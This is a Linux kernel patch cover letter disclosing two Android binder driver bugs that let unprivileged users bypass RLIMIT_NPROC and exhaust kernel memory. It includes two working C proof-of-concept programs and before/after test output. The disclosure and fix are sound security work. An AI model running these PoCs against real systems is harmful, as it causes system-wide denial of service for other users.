[PATCH 0/4] binder: cap max_threads and reject duplicate looper entry

From: Yunseong Kim

Date: Wed Jun 03 2026 - 14:06:34 EST


Two logic bugs in the Android binder driver (both C and Rust implementations)
allow an unprivileged userspace process to bypass RLIMIT_NPROC and exhaust
kernel memory, leading to system-wide denial of service.

Bug 1: BINDER_SET_MAX_THREADS has no upper bound check
Bug 2: BC_ENTER_LOOPER accepts duplicates without error

These were discovered using kcov-dataflow [1], a per-task function boundary
extraction tool that captures argument values at -O2 where other tools
(KASAN, ftrace, edge coverage) cannot detect logic errors.

[1] https://github.com/yskzalloc/kcov-dataflow
[2] https://lore.kernel.org/all/20260603-kcov-dataflow-next-20260603-v2-0-fee0939de2c4@xxxxxxxx/
[3] https://github.com/llvm/llvm-project/pull/201410

--- Userspace PoC (To-Ulimit-and-Beyond.c) ---

/*
* To-Ulimit-and-Beyond: Demonstrates both bugs from unprivileged userspace.
* Build: gcc -static -o To-Ulimit-and-Beyond To-Ulimit-and-Beyond.c
* Run: ulimit -u 50; ./To-Ulimit-and-Beyond
*
* Expected (before fix):
* VULNERABLE: kernel accepted max_threads=4294967295!
* VULNERABLE: duplicate BC_ENTER_LOOPER accepted!
*
* Expected (after fix):
* PATCHED: kernel rejected the value
* (second BC_ENTER_LOOPER marks thread INVALID internally)
*/

struct binder_write_read {
int64_t write_size, write_consumed;
uint64_t write_buffer;
int64_t read_size, read_consumed;
uint64_t read_buffer;
};

int main(void)
{
int fd = open("/dev/binderfs/binder", O_RDWR);
if (fd < 0) fd = open("/dev/binder", O_RDWR);
if (fd < 0) { perror("open binder"); return 1; }
mmap(NULL, 128*1024, PROT_READ, MAP_PRIVATE, fd, 0);

printf("pid=%d uid=%d\n", getpid(), getuid());

/* Bug 1: SET_MAX_THREADS with no upper bound */
uint32_t max = 0xFFFFFFFF;
int ret = ioctl(fd, BINDER_SET_MAX_THREADS, &max);
printf("[Bug 1] SET_MAX_THREADS=0xFFFFFFFF: %s (errno=%d)\n",
ret == 0 ? "VULNERABLE" : "PATCHED", ret < 0 ? errno : 0);

/* Bug 2: BC_ENTER_LOOPER duplicate */
uint32_t cmd = BC_ENTER_LOOPER;
struct binder_write_read bwr = {
.write_size = sizeof(cmd),
.write_buffer = (uint64_t)(unsigned long)&cmd,
};
ioctl(fd, BINDER_WRITE_READ, &bwr);
bwr.write_consumed = 0;
ret = ioctl(fd, BINDER_WRITE_READ, &bwr);
printf("[Bug 2] BC_ENTER_LOOPER x2: ret=%d (thread now INVALID if patched)\n", ret);

close(fd);
return 0;
}

--- ulimit bypass PoC (beyond_ulimit.c) ---

/*
* Demonstrates RLIMIT_NPROC bypass via binder.
* With ulimit -u 50, creates 300 threads.
* Build: gcc -static -pthread -o beyond_ulimit beyond_ulimit.c
* Run: ulimit -u 50; ./beyond_ulimit
*/

struct binder_write_read {
int64_t write_size, write_consumed;
uint64_t write_buffer;
int64_t read_size, read_consumed;
uint64_t read_buffer;
};

static void *binder_thread(void *arg)
{
int fd = open("/dev/binderfs/binder", O_RDWR);
if (fd < 0) fd = open("/dev/binder", O_RDWR);
if (fd < 0) return NULL;
mmap(NULL, 128*1024, PROT_READ, MAP_PRIVATE, fd, 0);
uint32_t max = 0xFFFFFFFF;
ioctl(fd, BINDER_SET_MAX_THREADS, &max);
uint32_t cmd = BC_REGISTER_LOOPER;
struct binder_write_read bwr = {
.write_size = sizeof(cmd),
.write_buffer = (uint64_t)(unsigned long)&cmd,
};
ioctl(fd, BINDER_WRITE_READ, &bwr);
close(fd);
return NULL;
}

int main(void)
{
printf("pid=%d uid=%d\n", getpid(), getuid());
int created = 0;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 16384);
for (int i = 0; i < 300; i++) {
pthread_t t;
if (pthread_create(&t, &attr, binder_thread, NULL)) break;
pthread_detach(t);
created++;
}
usleep(500000);
printf("Threads created: %d (ulimit was 50)\n", created);
if (created > 50)
printf("VULNERABLE: RLIMIT_NPROC bypassed!\n");
return 0;
}

--- Test results ---

Kernel: 7.1.0-rc5-next-20260528 (CONFIG_ANDROID_BINDER_IPC_RUST=y)
VM: virtme-ng, 1GB RAM, single vCPU

Before fix:
$ su -s /bin/bash nobody -c 'ulimit -u 50; ./To-Ulimit-and-Beyond'
pid=288 uid=65534
[Bug 1] SET_MAX_THREADS=0xFFFFFFFF: VULNERABLE (errno=0)
[Bug 2] BC_ENTER_LOOPER x2: ret=0

$ su -s /bin/bash nobody -c 'ulimit -u 50; ./beyond_ulimit'
Threads created: 300 (ulimit was 50)
VULNERABLE: RLIMIT_NPROC bypassed!

After fix:
$ su -s /bin/bash nobody -c 'ulimit -u 50; ./To-Ulimit-and-Beyond'
pid=283 uid=65534
[Bug 1] SET_MAX_THREADS=0xFFFFFFFF: PATCHED (errno=22)
[Bug 2] BC_ENTER_LOOPER x2: ret=0 (thread marked INVALID)

Signed-off-by: Yunseong Kim <yunseong.kim@xxxxxxxx>
---
Yunseong Kim (4):
binder: cap BINDER_SET_MAX_THREADS at RLIMIT_NPROC
binder: reject duplicate BC_ENTER_LOOPER commands
rust_binder: cap set_max_threads at RLIMIT_NPROC
rust_binder: reject duplicate BC_ENTER_LOOPER in looper_enter

drivers/android/binder.c | 10 ++++++++++
drivers/android/binder/process.rs | 15 +++++++++++++--
drivers/android/binder/thread.rs | 4 ++++
3 files changed, 27 insertions(+), 2 deletions(-)
---
base-commit: f7af91adc230aa99e23330ecf85bc9badd9780ad
change-id: 20260603-b4-binder-hardening-2442c7463839

Best regards,
--
Yunseong Kim <yunseong.kim@xxxxxxxx>